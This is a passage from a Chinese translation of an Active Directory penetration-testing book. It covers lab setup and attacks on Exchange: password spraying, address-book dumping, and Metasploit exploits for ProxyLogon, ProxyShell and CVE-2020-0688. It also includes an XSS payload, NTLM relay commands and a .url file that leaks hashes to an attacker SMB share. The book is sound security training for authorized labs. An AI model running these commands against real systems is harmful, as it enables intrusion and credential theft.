Windows-活动目录渗透测试-全-
Windows 活动目录渗透测试(全)
原文:
annas-archive.org/md5/54797d58818b0a0fba436d02c4dd0612
译者:飞龙
前言
几乎每天我们都会听到新的数据泄露、数据外泄或勒索软件攻击的消息。如今,网络犯罪已成为一个庞大的产业,并且不断寻求进步。这不再是一个人的表演;网络犯罪分子有自己的方法论、工具和专业人员。防御的方式是理解他们是如何攻击的、他们的战术以及技术。
我们将采用这种方法来对抗最受欢迎的软件供应商——微软的各种产品。本书专注于基于 Windows 的基础设施,因为对于大多数公司而言,企业内部基础设施仍然是一个重要领域。在本书中,我将带领你通过对Active Directory
(AD)、Active Directory 证书服务、Microsoft Exchange 服务器、Microsoft SQL 服务器以及系统中心配置管理器(SCCM)的攻击杀链过程。在这个过程中,你将接触到已知的战术和技术,并进行大量的实践练习。
到本书结束时,你将能够对基于 Windows 的基础设施进行全面的实际安全评估。此外,你还将获得关于如何检测对手活动的建议和修复建议。
本书适用人群
本书确实是一本全方位的指南,专为从事 Windows 基础设施工作,特别是 AD 的安全专业人员编写。渗透测试人员和红队操作员将找到他们在实际评估中可能遇到的攻击场景。安全和 IT 工程师、蓝队成员以及事件响应人员将从检测和修复指南中受益。为了最大限度地利用本书,你应该具备 Windows 服务和 AD 的基础知识。
本书内容
第一章,准备实验室和攻击 Exchange 服务器,概述了攻击杀链,展示了如何部署实验室环境,并专注于通过实际示例演示 Exchange 服务器的攻击面。
第二章,防御规避,教授你如何规避恶意软件扫描接口(AMSI)和 AppLocker、PowerShell 增强日志记录、Sysmon 以及Windows 事件跟踪(ETW)。
第三章,域侦察与发现,在这一章你将学习如何在域中执行侦察、如何融入环境流量,以及深入了解像 BloodHound 和 Microsoft 高级威胁分析(ATA)等工具的内部工作。
第四章,域中的凭证访问,介绍了通过捕获哈希值、强制认证、对 Kerberos 进行“烘烤”、如果本地管理员密码解决方案(LAPS)配置错误时读取明文密码,以及通过 DCSync 收集 gMSA 账户或整个域的哈希值等方式获取域环境中的凭证。
第五章,域内和跨森林的横向移动,展示了对手如何通过滥用不同类型的委派、传递不同类型的凭证材料、转发捕获的哈希值以及向其他森林移动来在环境中横向移动。
第六章,域权限提升,我们将重点讨论通过滥用配置错误的访问控制列表(ACL)、组策略对象(GPO)和特殊内建组来提升域中的权限,以及如何从子域转移到父域。
第七章,域级持久化,展示了通过伪造票证和操作 ACL 和对象,以及通过添加骨架密钥、恶意 SSP、注册表后门等手段,在域控制器上实现持久化的技术。
第八章,滥用 Active Directory 证书服务,涵盖了微软实施的公钥基础设施(PKI)的基础知识,以及盗取证书、在域中提升权限并实现域级持久化的方法。
第九章,攻破 Microsoft SQL Server,我们将重点讨论如何攻击 SQL Server,包括枚举、权限提升、横向移动和持久化。
第十章,接管 WSUS 和 SCCM,提供了 IT 支持管理软件的概述,并介绍了滥用其功能的方法,最终实现对整个环境的完全接管。
为了充分利用本书
书中涵盖的软件/硬件 | 操作系统要求 |
---|---|
Windows Active Directory | Linux 主机 |
Windows 服务 – WSUS 和 AD CS | Kali 虚拟机 |
Exchange 服务器 | |
SQL Server | |
SCCM |
使用的约定
本书中使用了若干文本约定。
文本中的代码:表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。以下是一个示例:“MailSniper
计算身份验证尝试响应之间的时间差。”
任何命令行输入或输出如下所示:
[InternetShortcut]
URL=any
WorkingDirectory=any
IconFile=\\192.168.56.100\%USERNAME%.icon
IconIndex=1
粗体:表示新术语、重要词汇或您在屏幕上看到的词。例如,菜单或对话框中的词语通常以粗体显示。以下是一个示例:“我们将讨论攻击检测及可能的防范措施,并介绍进攻性操作
安全(OpSec)。”
提示或重要注意事项
显示如下。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请通过邮件联系我们,邮箱地址是 customercare@packtpub.com,并在邮件主题中提到书名。
勘误表:尽管我们已尽最大努力确保内容的准确性,但难免会有错误。如果你在本书中发现任何错误,我们将非常感激你向我们报告。请访问www.packtpub.com/support/errata并填写表单。
盗版:如果你在互联网上发现我们作品的任何非法副本,请提供其网址或网站名称。请通过版权@packtpub.com 与我们联系,附上该资料的链接。
如果你有兴趣成为作者:如果你在某个领域有专长,并且有兴趣撰写或参与编写一本书,请访问authors.packtpub.com。
分享你的想法
一旦你阅读了《渗透测试:Active Directory 和基于 Windows 的基础设施》,我们非常希望听到你的反馈!请点击这里直接进入 Amazon 的评论页面,分享你的看法。
你的评论对我们和技术社区来说都非常重要,将帮助我们确保提供卓越质量的内容。
下载本书的免费 PDF 副本
感谢购买本书!
你喜欢在旅途中阅读,但又不能随时携带纸质书籍吗?
你的电子书购买是否与你选择的设备不兼容?
不用担心,现在购买每本 Packt 书籍,你都会免费获得该书的无 DRM PDF 版本。
随时随地、在任何设备上阅读。直接从你最喜欢的技术书籍中搜索、复制并粘贴代码到你的应用程序中。
优惠活动不仅仅是这样,你还可以获得独家折扣、时事通讯以及每天送到邮箱的精彩免费内容
按照以下简单步骤,享受相关福利:
- 扫描二维码或访问以下链接
packt.link/free-ebook/9781804611364
-
提交你的购买证明
-
就是这样!我们会直接将你的免费 PDF 和其他福利发送到你的邮箱。
第一章:准备实验室并攻击 Exchange 服务器
Windows 活动目录是大多数企业中运行和支持基于 Windows 的网络的事实标准。虽然集中管理带来了便利,但也引入了安全风险。在执行操作时,恶意行为者计划实现某些目标,破坏活动目录可以帮助他们达成这一目的。活动目录的默认配置远未达到安全标准。了解活动目录安全的最佳方式是,在安全环境中执行攻击,尝试检测并防止不必要的恶意活动。
本书的重点将放在活动目录杀伤链上,执行攻击并尝试检测和防止它们。本章将介绍如何为这些活动部署一个安全的操作环境。我们将在本书中使用这个实验室,之后会添加额外的服务,这些服务将在后续关于 活动目录证书服务(ADCS)、SQL 服务器和 Windows 服务器更新服务(WSUS) 以及 系统中心配置管理器(SCCM) 的章节中讨论。
我们的第一个实际目标将是微软 Exchange 服务器。它是一个复杂的协作产品,远不止一个电子邮件服务器。从安全的角度来看,它是一个有价值的目标,因为它是基础设施中一个至关重要的组件,并且可以从互联网访问。内部部署的 Exchange 与活动目录紧密相连,通常具有较高的权限。
本章将覆盖以下主要主题:
-
实验室架构与部署
-
活动目录杀伤链
-
为什么初始访问和主机相关的主题不予覆盖
-
攻击 Exchange 服务器
技术要求
在本章中,您需要访问以下内容:
-
VMware Workstation 或 Oracle VirtualBox,至少需要 16GB 的 RAM,10 个 CPU 核心,以及至少 115GB 的总空间(如果进行快照,则需要更多空间)
-
强烈建议使用基于 Linux 的主机操作系统
-
安装了相应虚拟化平台插件的 Vagrant 和 Ansible
实验室架构与部署
即使创建和部署测试实验室可能令人望而却步且耗时,它仍然是攻击模拟之前的重要准备步骤。MITRE ATT&CK 专门为此活动提供了一种策略,称为 资源开发。
有一些免费的但功能强大的自动化实验室部署项目可供选择。您可以根据工作站的资源选择其中任何一个,并自行复制漏洞。例如,有一个非常好的开源项目,由 Splunk 威胁研究团队维护,叫做 Splunk Attack Range[1],您可以快速部署一个小型实验室来执行攻击模拟。然而,本书中我将使用另外两个项目。
本书中我将使用的第一个项目是由 Orange Cyberdefense[2] 创建的 GOADv2 实验室。要部署它,你需要一个基于 Linux 的主机操作系统,并安装 VMware Workstation 或 Oracle VirtualBox。也可以在 Proxmox 上部署该实验室,正如 Mayfly 在他的博客中所展示的[3]。部署过程简单,并且在仓库中的 README.md
文件里有详细描述。整个过程分为两部分,依据你的互联网连接速度,整个过程大约需要 3-4 小时。Vagrant 将创建虚拟机,Ansible playbook 将配置和部署所需的服务、用户和漏洞。为了加快部署速度,在 Vagrant 文件中,我们可以将所有 SRV 服务器的 box_version
变量更改为已经在列表中的版本,这样就只会下载两个镜像,并用于进一步的部署。我将使用安装在最新 Arch Linux 上的 VMware Workstation 16。按照安装指南操作后,你最终看到的信息应该如下所示:
图 1.1 – GOAD 实验室部署成功的结果
我将在某些章节中使用的第二个仓库是由 Chris Long[4] 创建的令人印象深刻的 DetectionLab 项目。不幸的是,它已经不再维护,但它仍然非常适合我们的目的。这个实验室的优势在于它提供了多种部署选项,包括云平台和所有现代裸机虚拟化程序。此外,这个实验室已经为我们安装了检测工具(Sysmon、Velociraptor、Microsoft ATA 等)。安装过程也很简单。准备脚本会帮助识别缺少的软件包,Vagrant 会完成剩下的工作。整体过程大约需要 1-2 小时,取决于你的网络和计算机性能。以下截图显示了预部署脚本成功执行的结果,这意味着我们可以开始我们的 DetectionLab 了:
图 1.2 – 成功执行 prepare.sh 的结果
以下 GOADv2 项目的图表来自实验室创建者的 GitHub 仓库:
图 1.3 – GOADv2 概览
这个实验室有两个林(sevenkingdoms.local
和 essos.local),它们之间建立了信任关系,并且有父子域(sevenkingdoms.local
和 north.sevenkingdoms.local)。Active Directory 信任可以有效地让信任域中的实体安全地访问受信域的资源。Microsoft SQL Server 将在两个林中部署,并在实例之间建立信任连接。我们还将在其中一台服务器上安装 Internet Information Services
(IIS)。ADCS 提供了所需的数字证书基础设施,供公司使用公钥加密技术。这些证书可以用于多种用途,比如身份验证、加密以及签署文档和/或消息。我们实验室中有一台专门的服务器来承担这个角色,届时我们将能够模拟对 ADCS 的攻击。大多数攻击场景已经由实验室创建者在环境中引入,但如果我们需要添加或调整某些内容,将会特别提到,并提供逐步指南——例如,安装 WebClient 或部署 组管理服务账户(gMSAs)。
下一节将介绍攻击任何目标的常见方法,包括 Active Directory。
Active Directory 杀链
什么是 Active Directory?用简单的话来说,它是一个层次结构的对象信息存储。其主要优点之一是,Active Directory 允许集中管理和身份验证。接下来,我们简要讨论一下什么是网络攻击杀链。这个框架由洛克希德·马丁公司开发,具有军事背景。它是一个识别攻击结构的概念。我们可以根据 infosecn1nja 在 GitHub 上的图示,将网络攻击杀链的概念应用到 Active Directory。它包含几个步骤,但始终遵循相同的循环——侦察,妥协,横向移动——只是拥有更多的特权访问:
图 1.4 – Active Directory 杀链
本书的重点仅为基于 Windows 的基础设施及其服务,因此诸如主机上的本地权限提升、初始访问和外部侦察等主题超出了本书的范围。我将在本章的专门部分简要解释这一决定背后的原因。以下是将在相应章节中讨论的主题列表:
-
Exchange 服务器
-
防御规避
-
内部侦察
-
凭证访问
-
横向移动
-
权限提升
-
持久性
-
AD CS
-
Microsoft SQL Server
-
WSUS
-
Microsoft SCCM
本书的重点是妥协 Active Directory 环境和基于 Windows 的常见服务,而非红队操作。原因是红队操作通常具有与业务相关的目标,而不是寻找和利用 Active Directory 及其服务中的所有可能漏洞。需要提到的是,根据目标环境、范围以及在初始访问中获得的权限级别,并非总是需要妥协每个目标。例如,获取公司的财务数据并不需要域管理员权限,但在某些情况下,这些权限可能会有所帮助。我们将讨论攻击检测和可能的预防措施,以及进攻性操作安全(OpSec)。简而言之,指的是你在活动中被对手发现的可能性。这是一把双刃剑,意味着它既适用于进攻行动,也适用于防御行动及欺骗对手的方式。
为什么我们不会涵盖初始访问和主机相关的主题
初始访问是妥协目标环境的一个至关重要的早期步骤。然而,本书不会涵盖这一部分,原因如下。老实说,这个主题既广泛又深入,涉及 IT 各个领域以及心理学的跨领域知识,因此它需要一本独立的书籍。此外,在此类书籍发布时,很可能一半的攻击向量会被安全解决方案(如端点检测与响应(EDR))的实施所消除,或者被蓝队的全面检测能力所覆盖。原因在于,这个领域发展迅速,充满了未发布的私人研究。总的来说,要获得稳定的初始访问权限,需关注三个主要主题——一个具有韧性和安全性的攻击基础设施、具备必要功能的隐蔽工具以及成功的防御规避。
为了避免在手动部署过程中出现痛苦的错误,使用自动化工具,如 Terraform 和 Ansible,可以帮助构建一个具有韧性的攻击者基础设施。但这需要投入时间,并且要求具备脚本编写和系统管理员的技能。开始了解这一主题的最佳资源之一是 GitHub 上的维基[6]。如果钓鱼和过滤代理是攻击的一部分,基础设施需要经过适当设计,配备多种协议的重定向器,确保安全并加固,并且正确分类。
隐蔽工具、规避技术和检测之间是一场永无止境的斗争,在这场斗争中,熟练的蓝队、SOC 和 EDR/安全供应商与进攻性安全研究人员和红队相互竞争。Jordan Potti在关于红队在 EDR 对抗中努力和投资回报的精彩笔记[7],也是我不讨论这一话题并专注于基于 Windows 的基础设施和 Active Directory 的原因之一。我认为不可能编写一本涵盖所有话题的全面红队书籍,深入探讨每一个方面。
由于本书聚焦于 Active Directory 的安全概念,我们将采用假设已被突破的方法。2019 年,Red Siege 创建了一个精彩的演示文稿来解释这一模型[8]。在我们的案例中,我们假设已经突破了一个标准的域用户账户。所有进一步的步骤将在该用户的上下文中进行。我们还假设最初的入侵是隐蔽的,并未被 EDR/杀毒软件或任何其他安全产品检测到。然而,所有进一步的活动,包括网络流量和生成的事件日志,都被视为蓝队在监控中。书中的后续部分,如果某些活动需要特定的权限,将会特别提到。
我们的下一部分将最终变得更加实际和动手操作。我们将讨论并复制针对 Exchange Server 的攻击场景。
攻击 Exchange Server
Exchange Server 是由微软开发的协作服务器。尽管越来越多的公司正在迁移到 O365 云,但仍然有很大的可能性会遇到本地部署的 Exchange。Exchange 为最终用户提供了多个有用的功能,但也非常难以确保它们的安全。近年来,许多研究揭示了其不同组件中的关键漏洞。此外,微软发布的补丁并未总是完全修复这些漏洞,这意味着攻击者通过逆向工程补丁,尝试开发零日漏洞,并能够找到合适的绕过方法。考虑到有时企业无法及时应对这种快速变化的情况,被攻击的可能性非常高。
那么攻击者入侵 Exchange 的好处是什么呢?首先,成功控制后可以访问此服务器上每个用户的邮箱。接下来,它可能演变成一次内部钓鱼活动、敏感数据泄露和邮件中的密码收集。其次,Exchange 服务账户可能具有高权限,包括域管理员权限,从而使得完全接管域成为可能。
为了评估 Exchange Server 的安全性,我们可以将 Exchange Server 添加到 DetectionLab 中;然而,您需要在自己端进行部署。要启动 Exchange Server,只需运行以下命令,假设您使用的是 Linux:
cd /opt/DetectionLab/Vagrant/Exchange
vagrant up exchange
如果在部署过程中遇到任何问题,你可以方便地在C:\exchange2016
文件夹中找到日志:
图 1.5 – Exchange 部署的日志位置
Exchange 允许通过Exchange Web Services
(EWS)、Exchange ActiveSync
(EAS)、Outlook Anywhere 和 MAPI over HTTP 等协议进行远程访问。AutoDiscover 服务帮助检索 Exchange 配置、邮箱设置、支持的协议和服务 URL。你可以在autodiscover.xml
文件中找到这些信息,该文件位于autodiscover
虚拟目录中。Outlook Web Application
(OWA)是一个简化版的基于 Web 的邮件客户端。用户仅需通过浏览器即可访问此客户端,而不必安装 Outlook。全局地址列表(GAL)是 Active Directory 林中每个启用邮件的对象的列表。我们还将讨论两个概念:Outlook 规则和表单。规则是 Outlook for Windows 在处理收发电子邮件时自动执行的操作。我们设置触发器和动作。服务器端规则首先执行,然后是客户端规则。Outlook 表单为用户和/或组织提供电子邮件定制选项,例如自动填写某些字段或模板文本。
在本节中,我们将讨论用户枚举和密码喷射的工具与技术;从 GAL 和离线地址簿(OAB)或使用名称服务提供接口(NSPI)提取电子邮件地址;公共的点击式漏洞利用;敏感数据的提取;以及通过客户端软件在目标环境中建立立足点的一些技术。由同一家公司创建的攻防大纲(GOADv2 实验室)中,提供了一个出色的攻击 Exchange 边界的思维导图,并且已上传至 GitHub[9]。
我们的第一个实际任务是枚举用户,并通过执行密码喷射攻击尝试获得一组有效的凭证。
用户枚举和密码喷射攻击
密码喷洒攻击需要用户枚举。首先,我们需要创建一个可能的用户名列表并枚举 Active Directory 域名。其次,我们需要通过 OWA 枚举现有用户,然后进行密码喷洒攻击。为了执行这些操作,我们将使用 MailSniper
工具[10]。第一步可以通过使用 开源情报(OSINT) 技术完成,通过进行 DNS 侦察,利用搜索引擎中的高级搜索运算符并抓取社交媒体和公司的外部资源。有许多开源工具可以在开发生命周期的不同阶段执行这些活动。如果外部网站上发布了电子邮件地址,攻击者可能会幸运地找到像 surname.name@company.com
或 name.surname@company.com
这样的电子邮件地址格式。此外,还有一个网站 hunter.io/
,可以帮助找出公司中最常用的电子邮件格式。如果只有像 info、security、GDPR 这样的通用地址,那么我们可以尝试使用像 namemash
[11] 和/或 EmailAddressMangler
[12] 这样的脚本,这些脚本可以创建所有可能的用户名排列列表。完成此步骤后,攻击者将拥有一个需要验证的潜在用户列表。现在,我们需要借助 MailSniper
中的 DomainHarvestOWA
功能来找出域名。它有两种获取正确域名的选项。一种是从服务器在发送请求到 mail.target.com/autodiscover/Autodiscover.xml
和 mail.target.com/EWS/Exchange.asmx
后返回的 WWW-Authenticate
头中提取名称。第二种选择是使用提供的域名列表进行暴力破解,通过将请求发送到 https://mail.target.com/owa/ 并计算响应时间。无效域名的请求响应时间比有效域名的请求响应时间要短得多。显然,用户名不会影响延迟。让我们尝试这个侦察活动:
Invoke-DomainHarvestOWA -ExchHostname 192.168.56.106
执行上述命令的结果可以在以下截图中找到:
图 1.6 – 发现邮件服务器的 FQDN
确定域名后,我们的下一步是用户枚举。这是一种纯粹基于时间的枚举技术。MailSniper
计算身份验证尝试响应之间的时间差。当找到有效的用户名时,响应时间将显著缩短:
Invoke-UsernameHarvestOWA -UserList .\user.txt -ExchHostname 192.168.56.106 -Domain windomain.local -OutFile found.txt
枚举结果可以在以下截图中找到:
图 1.7 – 使用 OWA 成功进行用户枚举
我们成功找到两个用户——Administrator
和vinegrep
。现在,让我们对 OWA 执行密码喷射攻击。在这个场景中,工具会针对提供的用户名列表喷射一个密码:
Invoke-PasswordSprayOWA -ExchHostname 192.168.56.106 -UserList .\found.txt -Password Qwerty123! -OutFile creds.txt
我们成功获取了用户vinegrep
的有效凭证集:
图 1.8 – 找到有效的凭证集,用户为 vinegrep
也可以使用MailSniper
的Invoke-PasswordSprayEWS
功能对 EWS 执行密码喷射攻击。需要注意的是,如果多因素身份验证(MFA)被强制执行,那么获得的有效凭证集将无法授予访问权限。MFA 将要求提供额外的身份验证因素,这些因素可以是从手机上的身份验证应用程序到 USB 安全令牌或其他类型的密钥。像任何安全措施一样,如果 MFA 配置错误,或者攻击者诱使用户执行身份验证的第二步而不是自己完成,MFA 也可以被绕过。
下一步是充分利用这组有效的凭证和邮箱访问权限。在接下来的章节中,我们将学习如何转储地址簿并外泄敏感数据。
转储和外泄
假设多因素身份验证(MFA)已经被绕过或未被强制执行,并且攻击者成功登录了受害者的邮箱,接下来的步骤是什么?有几个可能的场景。首先,攻击者可以浏览电子邮件;也许能找到一些敏感的内部信息,包括密码、证书、文档和端点地址。在进行此操作之前,作为安全专家,务必确保符合参与规则。你最不希望做的事情就是未授权访问客户的机密数据。
其次,运行内部钓鱼攻击。内部电子邮件处理规则在安全性上可能更宽松——例如,允许附件。此外,这样的攻击活动成功率更高,因为用户更有可能打开附件或点击同事或经理发来的链接。但这仍然不能保证成功,因为我们无法控制非电子邮件媒介。我们可以在受害者的同事正在现实生活中讨论某事时向他们发送电子邮件。然而,也需要考虑道德因素。根据目标公司的文化和规则,用户可能会因此失业。
其次,我们可以提取公司的所有电子邮件地址以及一些关于 Active Directory 的信息,而无需泄露任何邮箱内容。这可以通过转储 GAL 或 OAB,或者通过滥用 NSPI 来实现。让我们通过一个被攻破的账户使用MailSniper
提取 GAL。该模块连接到 OWA,并利用FindPeople
方法收集电子邮件地址。此方法适用于 Exchange 2013 及更高版本,并需要从GetPeopleFilters
URL 获取AddressListId
值:
Get-GlobalAddressList -ExchHostname 192.168.56.106 -UserName windomain.local\vinegrep -Password Qwerty123! -OutFile gal.txt
成功提取 GAL 的截图如下所示:
图 1.9 – GAL 提取
使用新发现的邮件地址,我们可以重新发起密码喷洒攻击。
另一种导出所有 Exchange 用户邮件地址的方法是下载 OAB 文件。一个重要的注意事项是,必须提取现有用户的主邮件地址,并且需要有效的域帐户。步骤如下:
-
向
autodiscover
端点发出 web 请求以检索autodiscover.xml
。 -
在响应中搜索
OABUrl
值,它是指向 OAB 文件目录的路径。不要忽视其他有用的信息,如域用户的 SID 和域控制器名称。 -
使用
OABUrl
值请求oab.xml
,以列出 OAB 文件名。 -
在
oab.xml
文件中,搜索包含data
且具有.****lzx
扩展名的文件名。 -
下载此文件并解析它。
我们将需要一台 Linux 机器来运行以下命令。为了自动化 OABUrl 提取,我们将使用 GitHub 上的脚本[13]。该脚本帮助完成第 1 和第 2 步。结果可以在以下截图中找到:
图 1.10 – OABUrl 提取
接下来,我们将复制oab.xml
文件并解析它,以找到包含data
字样的文件名的.lzx
文件的 URL。这就是我们的 GAL OAB 文件。最后一步,我们将保存该文件并解析其中的邮件地址:
curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/oab.xml > oab.xml
cat oab.xml | grep '.lzx' | grep data
curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/007215f1-4ab8-4ed2-a503-4cd82b0d8093-data-1.lzx > oab.lzx
strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,5}" | sort -u
可以在以下截图中看到从 OAB 提取的 GAL 邮件:
图 1.11 – 使用 OAB 提取 GAL 邮件
通过 NSPI 导出通讯簿的另一种方式是由Positive Technologies在他们的研究中发现的[14]。一个名为Exchanger
的工具现在是 Impacket 的一部分,因此我们可以直接使用它,无需额外安装。第一步,我们列出表格以获取 GUID,然后使用 GUID 导出有前景的表格:
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi list-tables -count
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi dump-tables -guid 715d9794-704c-4fe3-a038-24f149747b2c -lookup-type EXTENDED
导出结果可以在以下截图中看到:
图 1.12 – 通过 NSPI 根据 GUID 导出通讯簿
现在,我们可以使用提取的邮件地址重新发起密码喷洒攻击。我们还可以使用该工具通过 GUID 导出 Active Directory 对象。请注意,首先我们需要获取 GUID,例如通过 PowerShell 命令,然后将其传递给 Exchanger:
Get-ADComputer -Identity win10.ObjectGUID
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi guid-known -guid b1422ca3-66c7-4d6b-b7f4-43c73e9705b2 -lookup-type EXTENDED
执行 Exchanger 命令后的结果可以在以下截图中看到:
图 1.13 – 通过 NSPI 根据 GUID 导出 Active Directory 对象
在数据外泄的讨论中,我们无法不提到一个名为PEAS
[15]的项目。该工具基于 MWR 研究[16]开发,用于在 ActiveSync 服务器上运行命令。其思路是通过 Exchange Server 枚举并访问域中的文件共享。该工具的主要缺点是,必须在服务器和客户端账户上启用 ActiveSync。此外,ActiveSync 配置应该允许 UNC 路径,并且不限制 SMB 服务器。
远程危害 Exchange 的另一种方式是通过可利用的漏洞。近年来,发现并公开了不少关键漏洞。在下一部分,我们将介绍已公开的利用方式。
Zero2Hero 利用
在这一部分,我们将讨论Proxy*
漏洞家族,CVE-2020-0688 和 PrivExchange
(CVE-2018-8581)。它们的根本原因各不相同,但都证明了 Exchange 是一个极其复杂的软件,拥有广泛的攻击面。
我们将从 Proxy*
漏洞家族开始讨论。这类漏洞出现在对手和研究人员将重点转移到新的攻击面——客户端访问服务(CAS)时。我们将从 Exchange 历史上最著名的漏洞——ProxyLogon
[17]开始。Orange Tsai 来自 DEVCORE 发现了两个漏洞(CVE-2021-26855 和 CVE-2021-27065),这两个漏洞结合起来可以绕过身份验证并实现远程代码执行。
CVE-2021-26855 是一种服务器端请求伪造(SSRF),允许绕过身份验证并发送具有最高权限的请求。当用户向 Exchange 前端发送请求时,该请求会通过 HTTP 代理模块流动,然后由该模块评估并将其发送到后端。通过将 X-BEResource cookie 值设置为所需的后端 URL,可以伪造服务器端请求。利用此漏洞有两种场景。第一种是访问电子邮件,但需要目标环境中至少有两台 Exchange 服务器。另一种是身份验证到 Exchange 控制面板(ECP),然后上传 web shell(CVE-2021-27065 和 CVE-2021-26858)。一个包含逐步说明和检测的优秀手册已由BI.ZONE[18]发布。
CVE-2021-27065 是一种身份验证后任意文件写入漏洞。简而言之,攻击者登录到 ECP,然后在 OAB 虚拟目录中,通过插入 web shell 代码编辑外部 URL字段,并请求重置该目录以保存 web shell。
为了检查 Exchange 是否存在漏洞,我们可以利用 Metasploit 的一个模块——auxiliary/scanner/http/exchange_proxylogon
。扫描结果如下:
图 1.14 – Exchange 存在 ProxyLogon 漏洞
对于可靠的利用,我们可以使用 Metasploit 中的利用——exploit/windows/http/exchange_proxylogon_rce
。我们只需要一个有效的邮箱地址,仅此而已。利用结果如下所示:
图 1.15 – ProxyLogon 漏洞的利用
现在我们来讨论ProxyOracle
[19],它由 CVE-2021-31195(反射型跨站脚本攻击)和 CVE-2021-31196(Exchange Cookie 解析中的填充 Oracle 攻击)漏洞组成,这些漏洞允许从 cookie 中以明文形式恢复受害者的用户名和密码。为了检查目标安装是否存在漏洞(在我们的案例中是 IP 地址为192.168.56.106
的实验室中的 Exchange Server),可以尝试在浏览器地址栏中放入此有效载荷:
https://192.168.56.106/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//
如果你看到弹出警告框,如下图所示,那就意味着你找到了一个易受攻击的目标:
图 1.16 – Exchange Server 中的反射型 XSS 是成功利用 ProxyOracle 所必需的
接下来是我们列表中的另一个预认证 RCE 漏洞——ProxyShell
[20]。它链式利用了三个漏洞:CVE-2021-34473(预认证路径混淆,导致访问控制列表(ACL)绕过),CVE-2021-34523(Exchange PowerShell 后端的特权提升),以及 CVE-2021-31207(认证后任意文件写入)。
简而言之,第一个漏洞利用了错误的 URL 标准化过程,以便以 Exchange 机器账户身份访问任意后端 URL。第二个漏洞通过在X-Rps-CAT
请求参数中放入 Exchange 管理员信息,实现特权提升,该参数用于在X-CommonAccessToken
头缺失时恢复用户身份。第三个漏洞则是通过 Exchange PowerShell 命令写入 shell。
Metasploit 同样为我们提供了支持,利用——exploit/windows/http/exchange_proxyshell_rce
。利用结果如下:
图 1.17 – ProxyShell 成功利用
现在是时候讨论ProxyNotShell
[21]漏洞了。它与 ProxyShell 相似,由一对漏洞组成,分别是 SSRF(CVE-2022–41040)和通过 PowerShell 的 RCE(CVE-2022–41082)。这次的区别在于,攻击者需要经过认证。我们在 Metasploit 中同样可以找到一个利用——exploit/windows/http/exchange_proxynotshell_rce
。需要注意的是,Metasploit 中的这个利用仅适用于 Exchange 2019。我们可以看到在我们的环境中运行后的结果如下:
图 1.18 – 由于 Exchange 版本问题,ProxyNotShell 利用被中止
最后,我们将简要讨论 ProxyRelay
[22] 和 ProxyNotRelay
[23]。第一个漏洞是对另一个 Exchange 服务器(没有 CVE)、后台(CVE-2022-21979)、前端(CVE-2021-33768)或 Windows DCOM(CVE-2021-26414)的中继攻击。其思路与本书后续将讨论的其他强制认证和中继攻击相同。ProxyNotRelay 不是一个独立的漏洞,而是 ProxyRelay 和 ProxyNotShell 的结合体。
现在,我们将讨论两个较老的漏洞——CVE-2020-0688 和 PrivExchange(CVE-2018-8581)。虽然你在实际中遇到它们的可能性很小,但这部分内容的目的是展示其他的攻击面。
CVE-2020-0688[24] 允许经过身份验证的攻击者由于 Exchange 安装过程中使用的固定加密密钥执行任意代码。让我们深入了解这个漏洞的细节。该漏洞存在于 Exchange 控制面板(ECP)中。validationKey
和 decryptionKey
的值应当在每次安装时随机生成。这些密钥为 ViewState
提供安全保障,ViewState
是一种在 ASP.NET Web 应用程序中保存页面和控制值的方法。一个重要的警告是,ViewState
会被序列化并存储在客户端。什么是序列化?简单来说,它是将复杂数据转化为字节序列的过程,以便能够发送或存储,并保留其状态。如果攻击者能够通过提供恶意值来操纵这些数据,在某些情况下,服务器端的不安全反序列化可能导致 RCE(远程代码执行)。
登录 ECP 后,攻击者通过浏览器和开发者工具收集 ViewStateUserKey
(来自 ASP.NET_SessionID
cookie)和登录页面中的 __VIEWSTATEGENERATOR
值。validationkey
值是已知的(CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF)。为了生成恶意载荷,我们将使用一个叫做 ysoserial.net
[25] 的工具。这个工具包含了在常见库中发现的已知小工具链。小工具是库代码中存在的代码片段,可以帮助攻击者通过逐个执行来触发恶意载荷。这个漏洞使用了 TextFormattingRunProperties
库。我们可以运行以下命令在 C:\
创建文件:
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url https://192.168.56.106 -Username windomain\vinegrep -Password Qwerty123! -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath .\ysoserial\ysoserial.exe
执行结果如下:
图 1.19 – CVE-2020-0688 成功利用
文件创建在 C:\
。
图 1.20 – 文件创建在 C:\,并包含 whoami 命令的输出
第二个漏洞需要三个条件,称为PrivExchange
[26]。第一个条件是 Exchange 在域中的权限过高。Exchange Windows Permissions
组在域对象上具有WriteDacl
权限,这使攻击者能够获得DCSync
权限。DCSync
是一项允许你同步域中所有哈希值的特权。通常,这一特权由域控制器在复制过程中使用。攻击者只需请求一个域控制器发送哈希值以进行同步。
第二个条件是机器账户的 NTLM 中继可能性,第三个条件是攻击者可以强制 Exchange 通过PushSubscription
功能对监听器进行身份验证。我们将在第五章中更详细地讨论中继问题。
让我们通过使用ntlmrelayx
工具和privexchange
漏洞[27]来执行攻击:
python privexchange.py -ah 192.168.56.100 exchange.windomain.local -u vinegrep -d windomain.local
ntlmrelayx.py -t ldap://192.168.56.102 --escalate-user vinegrep
命令的结果如下。值得一提的是,用户应在 Exchange Server 上有一个邮箱:
图 1.21 – PushSubscription API 调用成功
由于我们已部署 Exchange Server 2016 CU12,因此它不易受到此攻击。Microsoft 移除了在发送通知时 Exchange 的自动身份验证功能。此外,Exchange 权限也被降低了。
下一部分将讨论通过 Outlook 规则、表单和主页获取初步立足点的方法。
获取立足点
